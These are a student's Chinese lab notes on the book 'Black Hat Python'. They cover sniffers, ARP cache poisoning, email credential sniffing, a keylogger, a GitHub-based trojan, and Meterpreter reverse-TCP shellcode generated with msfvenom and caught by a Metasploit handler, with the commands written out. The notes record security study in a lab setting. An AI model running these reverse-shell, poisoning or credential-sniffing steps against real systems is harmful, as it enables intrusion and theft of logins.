python代码见码云:20179204_gege

参考博客Python黑帽子--黑客与渗透测试编程之道关于《Python黑帽子:黑客与渗透测试编程之道》的学习笔记

第2章 网络基础

  • tcp客户端(tcpclient.py),可以看到百度返回的HTTP响应。

  • udp客户端(udpclient.py)

首先先用nc监听一下9999端口,-u就是udp模式,哈哈发过去了,最后打印出了ip和端口,nc没发数据过来,可能就没收到数据。

现在就可以比较一下tcp和udp的区别了,最核心的是udp不用连接,因为是无状态的协议

发送和接受的函数也是有区别的,通过实验发现recv和recvfrom的参数是接收几个字符的意思。

  • tcp服务器(tcpserver.py tcpclient1.py)

  • 取代netcat (bhnet.py)

打开一个终端./bhnet.py -l -p 9999 -c

打开新终端./bhnet.py -t localhost -p 9999

输入ctrl+d

  • 创建一个tcp代理proxy (proxy.py)

    	设置浏览器代理127.0.0.1:80
    sudo python ./proxy.py 127.0.0.1 80 www.baidu.com 80 True
    打开浏览器



.

  • 通过paramiko使用ssh (bh_sshcmd.py bh_sshRcmd.py bh_sshserver.py)

    参考博客Python黑帽子——通过Paramiko使用SSH

    	pip install paramiko
    生成密钥 ssh-keygen -t dsa -f /etc/ssh/ssh_host_dsa_key
    添加用户 useradd -d /home/qing qing
    passwd qing
    赋予ssh权限 vi /etc/ssh/sshd_config,添加 AllowUsers:qing

测试、运行结果

  	python bh_sshcmd.py
python bh_sshserver.py 127.0.0.1 80
python bh_sshRcmd.py
可以在服务器端输入一条命令mkdir ddr新建一个ddr文件夹



  • ssh隧道 (rforward.py bh_sshserver.py)建议在终端同时输一下

    不设置浏览器代理
    终端1:python rforward.py 127.0.0.1 -p 8080 -r 127.0.0.1:80 --user gege --password
    gege
    终端2:python bh_sshserver.py 127.0.0.1 80
    终端3:python bh_sshRcmd.py
    刷新浏览器127.0.0.1:8080



第3章 网络:原始套接字和流量嗅探

  • linux上的嗅探器 (sniffer.py)注意修改代码中的ip地址

  • linux下测试解码ip层 (sniffer_ip_header_decode)注意修改代码中的ip地址

  • 解码ICMP (sniffer_with_icmp.py)注意修改代码中的ip地址

type0 code0 说明Echo Reply——回显应答(Ping应答)

解码ICMP





注:回显请求与回显应答是两种icmp报文类型,类型号分别是8和0,这两种类型下都只有一种代码0。这两种icmp报文属查询报文,主要用于测试网络中另一台主机是否可达,向欲测试主机发送一份ICMP回显请求,并等待返回ICMP回显应答,如果能收到,表明该主机可达。

  • 子网扫描器 (sniffer.py)注意修改代码中的ip地址和子网地址

第4章 网络:原始套接字和流量嗅探

  • 简单嗅探器(mail_test.py)

  • 窃取email认证(mail_sniffer)

需要用命令行模拟邮件登陆(当然我用的是错误的用户名和密码,所以下图是不能登录成功的,但已经说明抓取成功),这里以登陆网易的pop3服务器为例 telnet pop3.163.com 110

  • 利用scapy进行arp缓存投毒(arptest.py)需要修改代码中两个ip地址

    	攻击机kali,目标机win2k。
    kali上ping攻击机。
    在win上输入命令ipconfig /all,arp -a检查arp缓存。
    首先要开启对网关和目标ip地址的流量进行转发的功能:
    echo 1 > /proc/sys/net/ipv4/ip_forward





  • 处理pcap文件(pic_carver1.py)“人脸识别”

    	安装opencv: apt-get install python-opencv python-numpy python-scipy
    wget http://eclecti.cc/files/2008/03/haarcascade_frontalface_alt.xml



第5章 web攻击

  • 开源web应用安装(web_app_mapper.py)





    web_app_mapper1.py是课本的代码 web_app_mapper2.py。

这里作者应该是利用开源应用的本地文件目录信息去访问目标网站的对应目录,看看哪些目录是跟官方的一样的,举个例子:比如有没有install目录。

  • 暴力破解目录和文件位置(content_bruter.py),其中字典文件all.txt



  • 暴力破解html表格认证(joomla_killer.py)

这个要搭建apache服务器,单纯做不出。

第6章 扩展burp代理

  • burp模糊测试(bhp_fuzzer.py)

打开burpsuite,environment 选择jar文件路径



extender——add——bup_fuzzer.py(课本97步骤)























  • 在burp中利用bing服务(bhp_bing.py)课本105步骤







  • 利用网站内容生成密码字典(bhp_wordlist.py)课本111步骤











第7章 基于GitHub的命令和控制

  • 基于github通信的木马(git_trojan.py)失败。

第8章 windows下木马的常用功能(沙盒检测没做)

  • 有趣的键盘记录(winxpattacker下运行,C:\Documents and Settings\Administrator文件夹下keylogger.py)

安装过程:



IDLE——run module



无论键盘输入什么,都会被记录下来。

  • 截取屏幕快照(winxpattacker下运行,screenshotter.py)



    截图保存在c:\WINDOWS\Temp\screenshot.bmp下。

  • python方式的shellcode执行【kali下输入metasploit命令行,winxp下运行需要改代码,windows弹出计算器calc.exe】(shell_exec.py)

kali:

  	msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.43.62.77 LPORT=1234 -f raw -o win_backdoor.raw
base64 -i win_backdoor.raw > shellcode.bin
python -m SimpleHTTPServer
metasploit下:
use exploit/multi/handler
set LHOST 10.43.62.77
set LPORT 1234
exploit





winxppython运行



kaliexecute -f calc.exe,在win下查看结果:

第9章 玩转浏览器

  • 基于浏览器的中间人攻击
  • 利用IE的COM组件自动化技术窃取数据

本章只实现了创建一个简单快速的RSA公私钥生成脚本(keygen.py)

第10章 windows系统提权(代码插入没做)

  • 利用WMI监视进程(process_monitor.py)

    直接在cmd命令行下python运行,日志只显示在process_monitor_log.csv里了。

  • windows系统的令牌权限(process_monitor1.py)



  • 赢得竞争(file_monitor1.py)

第11章 自动化攻击取证(本章没成功)

  • 抓取口令的哈希值

  • 直接代码注入(code_inject.py)失败

2017-2018-2 20179204 PYTHON黑帽子 黑客与渗透测试编程之道的更多相关文章

  1. 读书笔记 ~ Python黑帽子 黑客与渗透测试编程之道

    Python黑帽子  黑客与渗透测试编程之道   <<< 持续更新中>>> 第一章: 设置python 环境 1.python软件包管理工具安装 root@star ...

  2. python黑帽子-黑客与渗透测试编程之道(源代码)

    链接: https://pan.baidu.com/s/1i5BnB5V   密码: ak9t

  3. 《Python黑帽子:黑客与渗透测试编程之道》 Scapy:网络的掌控者

    窃取email认证: 测试代码: #!/usr/bin/python #coding=utf-8 from scapy.all import * #数据包回调函数 def packet_callbac ...

  4. 《Python黑帽子:黑客与渗透测试编程之道》 玩转浏览器

    基于浏览器的中间人攻击: #coding=utf-8 import win32com.client import time import urlparse import urllib data_rec ...

  5. 《Python黑帽子:黑客与渗透测试编程之道》 Windows下木马的常用功能

    有趣的键盘记录: 安装pyHook: http://nchc.dl.sourceforge.net/project/pyhook/pyhook/1.5.1/pyHook-1.5.1.win32-py2 ...

  6. 《Python黑帽子:黑客与渗透测试编程之道》 基于GitHub的命令和控制

    GitHub账号设置: 这部分按书上来敲命令即可,当然首先要注册一个GitHub账号还有之前安装的GitHub API库(pip install github3.py),这里就只列一下命令吧: mkd ...

  7. 《Python黑帽子:黑客与渗透测试编程之道》 扩展Burp代理

    下载jython,在Burpsuite的扩展中配置jython路径: Burp模糊测试: #!/usr/bin/python #coding=utf-8 # 导入三个类,其中IBurpExtender ...

  8. 《Python黑帽子:黑客与渗透测试编程之道》 Web攻击

    Web的套接字函数库:urllib2 一开始以urllib2.py命名脚本,在Sublime Text中运行会出错,纠错后发现是重名了,改过来就好: #!/usr/bin/python #coding ...

  9. 《Python黑帽子:黑客与渗透测试编程之道》 网络:原始套接字和流量嗅探

    Windows和Linux上的包嗅探: #!/usr/bin/python import socket import os #监听的主机 host = "10.10.10.160" ...

随机推荐

  1. 去除select下拉框默认样式

    去除select下拉框默认样式 select { /*Chrome和Firefox里面的边框是不一样的,所以复写了一下*/ border: solid 1px #; /*很关键:将默认的select选 ...

  2. 学习笔记(七): Logistic Regression

    目录 Calculating a Probability Model Training 1.Loss function for Logistic Regression 2.Regularization ...

  3. iView - Form中想要重置DatePicker生效,必须给DatePicker绑定value属性

    Form中想要重置DatePicker生效,必须给DatePicker绑定value属性

  4. JAVA 同步实现原理

    Synchronized的基本使用 Synchronized是Java中解决并发问题的一种最常用的方法,也是最简单的一种方法.Synchronized的作用主要有三个: 确保线程互斥的访问同步代码 保 ...

  5. 【PHP】php中json_decode()和json_encode()

    1.json_decode() json_decode (PHP 5 >= 5.2.0, PECL json >= 1.2.0) json_decode — 对 JSON 格式的字符串进行 ...

  6. String java问题随笔

    1.字符串加密 设计思想: 每个字符都能够转化为整数型,也能将整数型转化为字符类型,这样我们在加密时候由于向后推3个,所以可以将字符转换为整形,然后加3,之后在将运算完的变量转化为字符后输出,就可以实 ...

  7. Python知识点入门笔记——特色数据类型(集合)

    集合是一种不重复的无序集 集合用花括号来定义{} 集合和字典一样,里面的顺序是无序的,{1,2,3}和{3,2,1}是相等的 集合的元素不可重复,也就是说{1,2,2,3}是不存在的,应该写为{1,2 ...

  8. stark组件前戏(3)之django路由分发的本质include

    django路由分发的三种方式 方式一: from django.urls import re_path, include urlpatterns = [ re_path(r'^web/', incl ...

  9. 教你如何在 Javascript 文件里使用 .Net MVC Razor 语法

    摘录 文章主要是介绍了通过一个第三方类库RazorJS,实现Javascript 文件里使用 .Net MVC Razor 语法,很巧妙,推荐给大家 相信大家都试过在一个 View 里嵌套使用 jav ...

  10. Android stadio 电脑连上手机可以识别,但是连不上Android stadio

    原来是因为电脑没有装Android 手机驱动,我电脑刚装了系统. 很多驱动没有装.我有一个联想驱动管理,提示我装Android手机驱动.装完之后,就可以识别到手机了. 如果你的手机在电脑不识别,那么装 ...